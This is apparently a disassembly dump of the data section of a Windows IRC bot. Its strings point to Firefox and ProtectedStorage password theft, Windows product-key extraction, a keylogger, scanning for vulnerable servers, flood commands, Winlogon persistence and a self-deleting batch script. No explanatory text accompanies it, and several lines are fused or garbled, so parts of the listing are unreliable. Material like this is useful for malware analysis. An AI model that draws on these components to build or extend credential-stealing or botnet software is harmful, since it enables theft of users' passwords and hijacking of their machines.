dword_4501EC	dd 70747468h, 2F3A73hdword_4501F4	dd 70747468h, 2F3Ahdword_4501FC	dd 7274533Ah, 676E69h					; sub_423C7A+4D2o
aStringindex	db 'StringIndex',0      ; DATA XREF: sub_423C7A+4A0o
aE161255a	db 'e161255a',0         ; DATA XREF: sub_423C7A+486o
		align 4
dword_45021C	dd 2207325h, 20454928h,	204C5255h, 63617448h, 73736563h
					; DATA XREF: sub_423C7A+461o
		dd 20023A29h, 2207325h,	702F6C28h, 20023A29h, 3A73255Bh
		dd 5D7325h
a5e7e8100	db '5e7e8100',0         ; DATA XREF: sub_423C7A+3B1o
		align 4
aWs		db '%ws',0              ; DATA XREF: sub_423C7A+2DDo
asc_450258	db '%x',0               ; DATA XREF: sub_423C7A+1F1o
		align 4
dword_45025C	dd 5A6F1EC0h, 11D02DB1h, 0C000398Ch, 6B12D94Fh					; sub_423C7A+232o ...
dword_45026C	dd 6E207325h, 2520746Fh, 2E73haProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_423C7A+13o
		align 4
aPl_base64decod	db 'PL_Base64Decode',0  ; DATA XREF: sub_424762+1D4o
aPk11_checkuser	db 'PK11_CheckUserPassword',0 ; DATA XREF: sub_424762+189o
		align 4
aPk11sdr_decryp	db 'PK11SDR_Decrypt',0  ; DATA XREF: sub_424762+177o
aPk11_authentic	db 'PK11_Authenticate',0 ; DATA XREF: sub_424762+165o
		align 4
aPk11_freeslot	db 'PK11_FreeSlot',0    ; DATA XREF: sub_424762+153o
		align 4
aPk11_getintern	db 'PK11_GetInternalKeySlot',0 ; DATA XREF: sub_424762+141o
aNss_shutdown	db 'NSS_Shutdown',0     ; DATA XREF: sub_424762+12Fo
		align 10h
aNss_init	db 'NSS_Init',0         ; DATA XREF: sub_424762+122o
		align 4
aSoftokn3_dll	db 'softokn3.dll',0     ; DATA XREF: sub_424762+C9o
		align 4
aSqlite3_dll	db 'sqlite3.dll',0      ; DATA XREF: sub_424762+7Ao
aNssutil3_dll	db 'nssutil3.dll',0     ; DATA XREF: sub_424762+69o
		align 4
aPlds4_dll	db 'plds4.dll',0        ; DATA XREF: sub_424762+4Bo
					; sub_424762+94o
		align 4
aNspr4_dll	db 'nspr4.dll',0        ; DATA XREF: sub_424762+34o
		align 10h
aMozcrt19_dll	db 'mozcrt19.dll',0     ; DATA XREF: sub_424762+28o
		align 10h
aNss3_dll	db 'nss3.dll',0         ; DATA XREF: sub_424762+1Do
		align 4
aPlc4_dll	db 'plc4.dll',0         ; DATA XREF: sub_424762+18o
		align 4
asc_450388	db ': ',0               ; DATA XREF: sub_424B0B+1ABo
					; sub_42BEF9+28o
		align 4
dword_45038C	dd 2207325h, 25464628h,	52552064h, 23A294Ch, 20732520h
					; DATA XREF: sub_424B0B+11Eo
		dd 2F6C2802h, 23A2970h,	20h
dword_4503AC	dd 6E676973h, 33736E6Fh, 7478742Eh, 0					; sub_425092+171o
dword_4503BC	dd 6E676973h, 32736E6Fh, 7478742Eh, 0					; sub_425092+14Eo
dword_4503CC	dd 6E676973h, 2E736E6Fh, 747874h					; sub_425092+12Bo
aSoftwareClient	db 'SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command'
					; DATA XREF: sub_424D65+Fo
		db 0
		align 4
aPath_0		db 'path=',0            ; DATA XREF: sub_424EAB:loc_424FB6o
		align 4
aNameDefault	db 'name=default',0     ; DATA XREF: sub_424EAB+F1o
		align 4
aProfiles_ini	db '\profiles.ini',0    ; DATA XREF: sub_424EAB+ACo
		align 4
aApplicationDat	db 'Application Data\Mozilla\Firefox',0 ; DATA XREF: sub_424EAB+2Ao
		align 4
aCurrentversion	db 'CurrentVersion',0   ; DATA XREF: sub_425092+80o
		align 4
aSoftwareMozi_0	db 'SOFTWARE\mozilla.org\Mozilla',0 ; DATA XREF: sub_425092+5Fo
		align 4
aSoftwareMozill	db 'SOFTWARE\Mozilla\Mozilla Firefox',0 ; DATA XREF: sub_425092+45o
		align 4
aAllowD		db 'Allow%d',0          ; DATA XREF: sub_42521F+1DEo
dword_4504C4	dd 4E534D02h, 2520023Ah, 73haSoftwareMicr_3	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: sub_42521F+194o
		db 'ice',0
		align 4
aSoftwareMicr_2	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: sub_42521F+41o
		align 4
byte_450544	db 42h			; DATA XREF: sub_425489+A3r
aCdfghjkmpqrtvw	db 'CDFGHJKMPQRTVWXY2346789',0
		align 10h
aDigitalproduct	db 'DigitalProductId',0 ; DATA XREF: sub_425489+43o
		align 4
aSoftwareMicr_4	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion',0
					; DATA XREF: sub_425489+15o
		align 4
aSWindowsKeyNot	db '%s Windows Key not found.',0 ; DATA XREF: sub_425568+16Fo
		align 10h
aSWindowsSSKey_	db '%s Windows %s (%s) Key: %.29s',0 ; DATA XREF: sub_425568+149o
		align 10h
a2008		db '2008',0             ; DATA XREF: sub_425568:loc_425671o
		align 4
aVnc		db '[VNC]:',0           ; DATA XREF: sub_425786+F7o
		align 10h
aKeylogger	db '[KEYLOGGER]:',0     ; DATA XREF: sub_425786+E2o
		align 10h
aTftp_0		db '[TFTP]:',0          ; DATA XREF: sub_425786+CDo
aFtp_0		db '[FTP]:',0           ; DATA XREF: sub_425786+B8o
		align 10h
aScan		db '[SCAN]:',0          ; DATA XREF: sub_425786+A7o
aMain_1		db '[MAIN]:',0          ; DATA XREF: sub_425786+96o
aPhpshell	db 'phpshell',0         ; DATA XREF: sub_425786+85o
		align 4
aWget		db 'wget',0             ; DATA XREF: sub_425786+74o
		align 4
aPush		db '!* PUSH',0          ; DATA XREF: sub_425786+63o
aPan		db '!* PAN',0           ; DATA XREF: sub_425786+52o
		align 4
aUdp		db '!* UDP',0           ; DATA XREF: sub_425786:loc_4257C7o
		align 4
aSh		db '!* SH',0            ; DATA XREF: sub_425786+2Bo
		align 4
aTopic_0	db 'TOPIC',0            ; DATA XREF: sub_425892+F7o
		align 4
aNotice		db 'NOTICE',0           ; DATA XREF: sub_425892+E2o
		align 4
aUserhost	db 'USERHOST',0         ; DATA XREF: sub_425892+CDo
		align 10h
aPing		db 'PING',0             ; DATA XREF: sub_425892+B8o
		align 4
aPong		db 'PONG',0             ; DATA XREF: sub_425892+A7o
		align 10h
aOper		db 'OPER',0             ; DATA XREF: sub_425892+96o
		align 4
aJoin		db 'JOIN',0             ; DATA XREF: sub_425892+85o
		align 10h
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_425892+74o
aNowANetworkAdm	db 'now a network administrator',0 ; DATA XREF: sub_425892+63o
aIrcOperator	db 'IRC Operator',0     ; DATA XREF: sub_425892+52o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_425892:loc_4258D3o
					; sub_42599E:loc_425A01o
		align 4
aUser_1		db 'USER ',0            ; DATA XREF: sub_42599E+4Do
		align 4
aMail		db 'Mail',0             ; DATA XREF: sub_42599E+3Co
		align 4
off_4506DC	dd offset byte_4B4F2B	; DATA XREF: sub_42599E+2Bo
a_bot_login	db '_BOT_LOGIN',0       ; DATA XREF: sub_425A16:loc_425A57o
		align 4
a_bot		db '_BOT',0             ; DATA XREF: sub_425A16+2Bo
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_425A6C+63o
		align 10h
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_425A6C+52o
		align 4
aApache1_3	db 'Apache/1.3',0       ; DATA XREF: sub_425A6C:loc_425AADo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_425A6C+2Bo
		align 10h
dword_450730	dd 6C755602h, 22F2F6EhaSDSDS		db ' (%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_450754	db    2			; DATA XREF: sub_425AE4+2CAo
		db 50h,	48h, 50h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_0	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_450778	db    2			; DATA XREF: sub_425AE4+2A0o
		db 46h,	54h, 50h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_1	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
unk_45079C	db    2			; DATA XREF: sub_425AE4+276o
		db 49h,	52h, 43h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_2	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 10h
unk_4507C0	db    2			; DATA XREF: sub_425AE4+249o
		db 42h,	6Fh, 74h
		db  2Fh	; /
		db 2Fh,	2, 20h
aSDSDS_3	db '(%s:%d) -> (%s:%d) - "%s"',0
		align 4
aPostHttp1_1Hos	db 'POST / HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_425E18+E5o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aSEuropeDKbitSU	db '%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s] ~ Asia[%d kbit/s] ~ Avera'
					; DATA XREF: sub_425FFA+275o
		db 'ge[%d kbit/s]',0
		align 4
aWww_kaist_ac_k	db 'www.kaist.ac.kr',0  ; DATA XREF: sub_425FFA+14Eo
aWww_pku_edu_cn	db 'www.pku.edu.cn',0   ; DATA XREF: sub_425FFA+147o
		align 4
aWww_bandai_co_	db 'www.bandai.co.jp',0 ; DATA XREF: sub_425FFA+140o
		align 4
aWww_seikoWatch	db 'www.seiko-watch.co.jp',0 ; DATA XREF: sub_425FFA+139o
		align 4
aWww_nintendo_0	db 'www.nintendo.co.jp',0 ; DATA XREF: sub_425FFA+132o
		align 4
aWww_nthu_edu_t	db 'www.nthu.edu.tw',0  ; DATA XREF: sub_425FFA+12Bo
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_425FFA+124o
aWww_umin_ac_jp	db 'www.umin.ac.jp',0   ; DATA XREF: sub_425FFA+11Do
		align 4
aUnimelb_edu_au	db 'unimelb.edu.au',0   ; DATA XREF: sub_425FFA+116o
		align 4
aWww_conexim_co	db 'www.conexim.com.au',0 ; DATA XREF: sub_425FFA+10Fo
		align 10h
aGamearena_com_	db 'gamearena.com.au',0 ; DATA XREF: sub_425FFA+108o
		align 4
aWww_nintendo_c	db 'www.nintendo.com',0 ; DATA XREF: sub_425FFA+101o
		align 4
aWww_apple_com	db 'www.apple.com',0    ; DATA XREF: sub_425FFA+FAo
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_425FFA+F3o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_425FFA+ECo
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_425FFA+E5o
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_425FFA+DEo
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_425FFA+D7o
		align 10h
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_425FFA+D0o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_425FFA+C9o
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_425FFA+C2o
		align 10h
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_425FFA+BBo
		align 4
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_425FFA+B4o
		align 4
aWww_nintendoEu	db 'www.nintendo-europe.com',0 ; DATA XREF: sub_425FFA+ADo
aWww_supergames	db 'www.supergames.cz',0 ; DATA XREF: sub_425FFA+A6o
		align 4
aWww_epfl_ch	db 'www.epfl.ch',0      ; DATA XREF: sub_425FFA+9Fo
aWww_hon_ch	db 'www.hon.ch',0       ; DATA XREF: sub_425FFA+98o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_425FFA+91o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_425FFA+8Ao
		align 10h
aWww_rtv_de	db 'www.rtv.de',0       ; DATA XREF: sub_425FFA+83o
		align 4
aWww_rollingsto	db 'www.rollingstone.de',0 ; DATA XREF: sub_425FFA+7Co
aWww_uniTuebing	db 'www.uni-tuebingen.de',0 ; DATA XREF: sub_425FFA+72o
		align 4
aWww_univAngers	db 'www.univ-angers.fr',0 ; DATA XREF: sub_425FFA+68o
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_425FFA+5Eo
		align 4
aWww_volkskrant	db 'www.volkskrant.nl',0 ; DATA XREF: sub_425FFA+54o
		align 4
aWww_news_nl	db 'www.news.nl',0      ; DATA XREF: sub_425FFA+4Ao
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_425FFA+40o
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_425FFA+36o
a0123456789abcd	db '0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZabcdefghijklmnopqrstuvwxyz',0
					; DATA XREF: sub_426323+1Do
a432		db '432',0              ; DATA XREF: sub_4263D5+87o
aSS_0		db '%s %s',0Ah,0        ; DATA XREF: sub_4263D5+6Bo
					; sub_4263D5+C2o ...
		align 4
aSSSSMail_gmail	db '%s %s',0Ah          ; DATA XREF: sub_4264CB+101o
		db '%s %s "mail.gmail.com" "127.0.0.1" :%s',0Ah,0
		align 8
aAbcdefghijkl_0	db 'abcdefghijklmnopqrstuvwxyz1234567890-|`_\{[]}abcdefghijklmnopqrst'
					; DATA XREF: sub_426761+C8o
					; sub_426761+180r ...
		db 'uvwxyz',0
aMirc32		db 'mIRC32',0           ; DATA XREF: sub_426C45+1Fo
		align 4
a0_0_0_0	db '0.0.0.0',0          ; DATA XREF: sub_42722B+100o
aSSSWithDPackS	db '%s %s (%s) with (%d) pack(s)',0 ; DATA XREF: sub_42757B+1AAo
		align 10h
aSoftwareMicr_5	db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
					; DATA XREF: sub_4277F1+25o
		align 4
aShell		db 'Shell',0            ; DATA XREF: sub_4277F1+20o
		align 10h
a_2d_2d4d_2d_2d	db '%.2d/%.2d/%4d, %.2d:%.2d %s',0 ; DATA XREF: sub_427BC4+6Co
aAm		db 'AM',0               ; DATA XREF: sub_427BC4+49o
		align 10h
aPm		db 'PM',0               ; DATA XREF: sub_427BC4+3Eo
		align 8
a@echoOffRepe_0	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_427C81:loc_427D5Eo
		db ':Repeat',0Dh,0Ah
		db 'del "%s">nul',0Dh,0Ah
		db 'if exist "%s" goto Repeat',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 8
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_427C81+D6o
		db ':Repeat',0Dh,0Ah
		db 'del "%s">nul',0Dh,0Ah
		db 'ping 127.0.0.1>nul',0Dh,0Ah
		db 'if exist "%s" goto Repeat',0Dh,0Ah
		db 'del "%%0"',0Dh,0Ah,0
		align 4
aSSIIII_bat	db '%s\%s%i%i%i%i.bat',0 ; DATA XREF: sub_427C81+78o
		align 4
aExplorer_exe	db 'Explorer.exe',0     ; DATA XREF: sub_427F60+93o
		align 4
a__		db '..',0               ; DATA XREF: sub_42810F+AFo
		align 10h
a_		db '\*.*',0             ; DATA XREF: sub_42810F+3Bo
		align 4
aSFailedToConne	db '%s Failed to connect to HTTP server.',0 ; DATA XREF: sub_428248+1DEo
		align 10h
aSCouldNotOpenA	db '%s Could not open a connection.',0 ; DATA XREF: sub_428248+1D2o
aSInvalidUrl_	db '%s  Invalid URL.',0 ; DATA XREF: sub_428248+1BDo
		align 4
aSFailedToGetRe	db '%s Failed to get requested URL from HTTP server.',0
					; DATA XREF: sub_428248:loc_4283F3o
		align 4
aSUrlVisited_	db '%s URL visited.',0  ; DATA XREF: sub_428248+1A4o
asc_450DD8	db '*/*',0              ; DATA XREF: sub_428248+48o
aSSPortsHitS	db '%s %s, ports hit: (%s)',0 ; DATA XREF: sub_4284A5+3Eo
		align 4
aSD		db '%s%d ',0            ; DATA XREF: sub_428660+19Do
		align 10h
off_450E00	dd offset off_4374BC	; DATA XREF: .text:off_437F80o
					; .text:00437FC4o ...
		align 8
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
dword_450E20	dd 0DF0B3D60h, 101B548Fh, 8658Eh, 19D12B2Bhoff_450E30	dd offset off_4374BC	; DATA XREF: .text:off_438058o
					; .text:00438094o ...
		align 8
a_?av_com_error	db '.?AV_com_error@@',0
		align 10h
dword_450E50	dd 1B3Fh			align 10h
		dd 9875h, 9873h
off_450E68	dd offset sub_42A990	; DATA XREF: sub_430B07r
off_450E6C	dd offset nullsub_2	; DATA XREF: sub_42ABF8:loc_42AC3Ar
off_450E70	dd offset nullsub_2	; DATA XREF: sub_42AC8Br
dword_450E74	dd 19930520h, 6	dup(0)					; sub_42ADA2+2o
		dd offset sub_4320A0
		align 10h
off_450EA0	dd offset off_4374BC	; DATA XREF: .text:off_4380D0o
					; .text:0043810Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
off_450EC0	dd offset dword_677020	; DATA XREF: sub_42BF84o
					; sub_42C118+55o ...
		align 8
		dd offset dword_677020
		dd 101h
dword_450ED0	dd 2 dup(0)			dd 1000h, 0
dword_450EE0	dd 3 dup(0)						; sub_42DB65+50o ...
		dd 2, 1, 3 dup(0)
dword_450F00	dd 3 dup(0)						; sub_42DB65+58o ...
		dd 2 dup(2), 7 dup(0)
dword_450F30	dd 7Ch dup(0)	dword_451120	dd 8 dup(0)						; sub_42C226+Do
off_451140	dd offset sub_430B45	; DATA XREF: sub_42C118+69o
					; sub_42C67C+1Cr
dword_451144	dd 2							; sub_43235A+34r ...
		dd 10h,	0
off_451150	dd offset off_451150	; DATA XREF: sub_42D3F9+Do
					; sub_42D3F9+69o ...
off_451154	dd offset off_451150	; DATA XREF: sub_42D3F9:loc_42D479r
					; sub_42D3F9+89w ...
		dd offset dword_451168
		dd offset dword_451168
dword_451160	dd 0FFFFFFFFh						; sub_42D53D:loc_42D58Aw
		dd 0FFFFFFFFh
dword_451168	dd 0F0h, 0F1h, 800h dup(0)					; .text:0045115Co
off_453170	dd offset off_451150	; DATA XREF: sub_42D53D+15r
					; sub_42D53D+20w ...
dword_453174	dd 1E0h							; sub_42B39A+A7r ...
dword_453178	dd 0							; sub_42DB50+6r
off_45317C	dd offset dword_676940	; DATA XREF: sub_42DAC6+1Fr
		dd 7 dup(0)
off_45319C	dd offset dword_676970	; DATA XREF: sub_42DAC6+17r
		dd 3 dup(0)
off_4531AC	dd offset dword_676988	; DATA XREF: sub_42DAC6+Fr
		dd 3 dup(0)
off_4531BC	dd offset dword_676958	; DATA XREF: sub_42DAC6+7r
		dd 7 dup(0)
		dd 0B42798h, 16h dup(0)
off_453238	dd offset aNull_0	; DATA XREF: sub_42DC7D:loc_42DFE1r
					; sub_42DC7D+457r
					; "(null)"
off_45323C	dd offset aNull		; DATA XREF: sub_42DC7D+259r
					; "(null)"
dword_453240	dd 0Bh							; sub_42E487+Fw ...
dword_453244	dd 0D2D0920h, 5Dhdword_45324C	dd 5Dh		dword_453250	dd 1		dword_453254	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
off_4533B8	dd offset word_4533C2	; DATA XREF: sub_429E59:loc_429E89r
					; sub_429E59:loc_429F46r ...
		dd offset word_4533C2
		db 2 dup(0)
word_4533C2	dw 20h			; DATA XREF: sub_434D3F+18r
					; .text:off_4533B8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4535C4	dd 1							; sub_429E59:loc_429F2Er ...
byte_4535C8	db 2Eh			; DATA XREF: sub_42E5F5:loc_42E8E9r
					; sub_42E5F5+311r ...
		align 4
		dd 1
dword_4535D0	dd 0FFFFFFFFh, 0A00h, 8	dup(0)					; sub_42F3E2:loc_42F466o
dword_4535F8	dd 14h		off_4535FC	dd offset dword_437620	; DATA XREF: sub_43022E:loc_43024Br
		dd 1Dh,	43761Ch, 1Ah, 437618h, 1Bh, 437610h, 1Fh, 437608h
		dd 13h,	437600h, 21h, 4375F8h, 0Eh, 4375F0h, 0Dh, 4375E8h
		dd 0Fh,	4375E0h, 10h, 4375D8h, 5, 4375D0h, 1Eh,	4375CCh
		dd 12h,	4375C8h, 20h, 4375C4h, 0Ch, 4375BCh, 0Bh, 4375B4h
		dd 15h,	4375ACh, 1Ch, 4375A4h, 19h, 43759Ch, 11h, 437594h
		dd 18h,	43758Ch, 16h, 437584h, 17h, 43757Ch, 22h, 437578h
		dd 23h,	437574h, 24h, 437570h
dbl_4536D0	dq 1.797693134862316e308 ; DATA	XREF: sub_42FF67+B7r
					; sub_42FF67:loc_43004Er ...
		dd 0
		dd 0FFF80000h
dbl_4536E0	dq 1.797693134862316e308 ; DATA	XREF: sub_42FF67+92r
					; sub_42FF67:loc_430026r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4536F8	dt 2.3562723457267347066e313 ; DATA XREF: sub_430416+Dr
					; sub_430416+1Fr
		align 4
tbyte_453704	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_430416+31r
		align 10h
		dd 2 dup(43h), 20h dup(0)
		dd 43h,	20h dup(0)
off_45381C	dd offset sub_430A91	; DATA XREF: sub_42A9A8+Fw
					; sub_42DC7D+3AAr
off_453820	dd offset sub_43073B	; DATA XREF: sub_42A9A8+5w
					; sub_42DC7D+3E2r
off_453824	dd offset sub_4307A1	; DATA XREF: sub_42A9A8+14w
					; sub_42E5F5+430r
off_453828	dd offset sub_4306E1	; DATA XREF: sub_42A9A8+1Ew
					; sub_42DC7D+3CBr
off_45382C	dd offset sub_430789	; DATA XREF: sub_42A9A8+28w
off_453830	dd offset sub_430A91	; DATA XREF: sub_42A9A8+32w
		align 8
dword_453838	dd 0C0000005h, 0Bh, 0					; sub_42E555+7Bo
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4538B0	dd 3							; sub_430C27+86r ...
dword_4538B4	dd 7							; sub_430C27+8Cr ...
		dd 78h
dword_4538BC	dd 0Ah							; sub_4351A3+4r
off_4538C0	dd offset a_cmd		; DATA XREF: sub_431128+109o
					; ".cmd"
		dd offset a_bat		; ".bat"
		dd offset a_exe		; ".exe"
off_4538CC	dd offset a_com		; DATA XREF: sub_431128+E7o
					; ".com"
		dd offset sub_4320A0
		align 10h
off_4538E0	dd offset sub_431BCC	; DATA XREF: sub_431C2D+29r
off_4538E4	dd offset aNoError	; DATA XREF: sub_42BEF9:loc_42BF56r
					; "No error"
		dd offset aOperationNotPe ; "Operation not permitted"
		dd offset aNoSuchFileOrDi ; "No	such file or directory"
		dd offset aNoSuchProcess ; "No such process"
		dd offset aInterruptedFun ; "Interrupted function call"
		dd offset aInputOutputErr ; "Input/output error"
		dd offset aNoSuchDeviceOr ; "No	such device or address"
		dd offset aArgListTooLong ; "Arg list too long"
		dd offset aExecFormatErro ; "Exec format error"
		dd offset aBadFileDescrip ; "Bad file descriptor"
		dd offset aNoChildProcess ; "No	child processes"
		dd offset aResourceTempor ; "Resource temporarily unavailable"
		dd offset aNotEnoughSpace ; "Not enough	space"
		dd offset aPermissionDeni ; "Permission	denied"
		dd offset aBadAddress	; "Bad address"
		dd offset aUnknownError	; "Unknown error"
		dd offset aResourceDevice ; "Resource device"
		dd offset aFileExists	; "File	exists"
		dd offset aImproperLink	; "Improper link"
		dd offset aNoSuchDevice	; "No such device"
		dd offset aNotADirectory ; "Not	a directory"
		dd offset aIsADirectory	; "Is a	directory"
		dd offset aInvalidArgumen ; "Invalid argument"
		dd offset aTooManyOpenF_0 ; "Too many open files in system"
		dd offset aTooManyOpenFil ; "Too many open files"
		dd offset aInappropriateI ; "Inappropriate I/O control operation"
		dd offset aUnknownError	; "Unknown error"
		dd offset aFileTooLarge	; "File	too large"
		dd offset aNoSpaceLeftOnD ; "No	space left on device"
		dd offset aInvalidSeek	; "Invalid seek"
		dd offset aReadOnlyFileSy ; "Read-only file system"
		dd offset aTooManyLinks	; "Too many links"
		dd offset aBrokenPipe	; "Broken pipe"
		dd offset aDomainError	; "Domain error"
		dd offset aResultTooLarge ; "Result too	large"
		dd offset aUnknownError	; "Unknown error"
		dd offset aResourceDeadlo ; "Resource deadlock avoided"
		dd offset aUnknownError	; "Unknown error"
		dd offset aFilenameTooLon ; "Filename too long"
		dd offset aNoLocksAvailab ; "No	locks available"
		dd offset aFunctionNotImp ; "Function not implemented"
		dd offset aDirectoryNotEm ; "Directory not empty"
		dd offset aIllegalByteSeq ; "Illegal byte sequence"
		dd offset aUnknownError	; "Unknown error"
dword_453994	dd 2Bh							; sub_42BEF9:loc_42BF51r
byte_453998	db 1			; DATA XREF: sub_4326C8+EDr
		db 2, 4, 8
		align 10h
dword_4539A0	dd 3A4h		dword_4539A4	dd 82798260h, 21h, 0dword_4539B0	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_453A90	dd 2							; sub_4330A0+Eo ...
off_453A94	dd offset aR6002FloatingP ; DATA XREF: sub_4330A0+FCr
					; sub_4330A0+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 437CD4h, 9, 437CA8h, 0Ah,	437C84h, 10h, 437C58h
		dd 11h,	437C28h, 12h, 437C04h, 13h, 437BD8h, 18h, 437BA0h
		dd 19h,	437B78h, 1Ah, 437B40h, 1Bh, 437B08h, 1Ch, 437AE0h
		dd 78h,	437AD0h, 79h, 437AC0h, 7Ah, 437AB0h, 0FCh, 4476D0h
		dd 0FFh, 437AA0h
dword_453B20	dd 2694h						; sub_42FC1C+46r ...
dword_453B24	dd 7080h						; sub_4339B6+75w ...
dword_453B28	dd 1							; sub_4339B6+A2w ...
dword_453B2C	dd 0FFFFF1F0h						; sub_4339B6+ABw ...
off_453B30	dd offset dword_545350	; DATA XREF: .text:off_453BB0o
		dd 0Fh dup(0)
off_453B70	dd offset dword_544450	; DATA XREF: .text:off_453BB4o
		dd 0Fh dup(0)
off_453BB0	dd offset off_453B30	; DATA XREF: sub_4339B6+D0r
					; sub_4339B6+EFr ...
off_453BB4	dd offset off_453B70	; DATA XREF: sub_4339B6+109r
					; sub_4339B6+130r ...
dword_453BB8	dd 0FFFFFFFFh						; sub_433C5E+1Er ...
dword_453BBC	dd 0							; sub_433E0A+BFw
dword_453BC0	dd 0							; sub_433E0A+E0w
		align 8
dword_453BC8	dd 0FFFFFFFFh						; sub_433C5E+26r ...
dword_453BCC	dd 0							; sub_433E0A+EAw ...
dword_453BD0	dd 0							; sub_433E0A+23r ...
dword_453BD4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_453C04	dd 16Dh							; sub_433E0A+2Er ...
dword_453C08	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_453C40	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_453C58	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fh, 2, 453C78h, 437F14h
					; DATA XREF: sub_4344ACo
		dd 437F10h, 437F0Ch, 437F08h, 437F04h, 437F00h,	437EFCh
		dd 437EF4h, 437EECh, 437EE4h, 437ED8h, 437ECCh,	437EC4h
		dd 437EB8h, 437EB4h, 437EB0h, 437EACh, 437EA8h,	437EA4h
		dd 437EA0h, 437E9Ch, 437E98h, 437E94h, 437E90h,	437E8Ch
		dd 437E88h, 437E80h, 437E74h, 437E6Ch, 437E64h,	437EA4h
		dd 437E5Ch, 437E54h, 437E4Ch, 437E40h, 437E38h,	437E2Ch
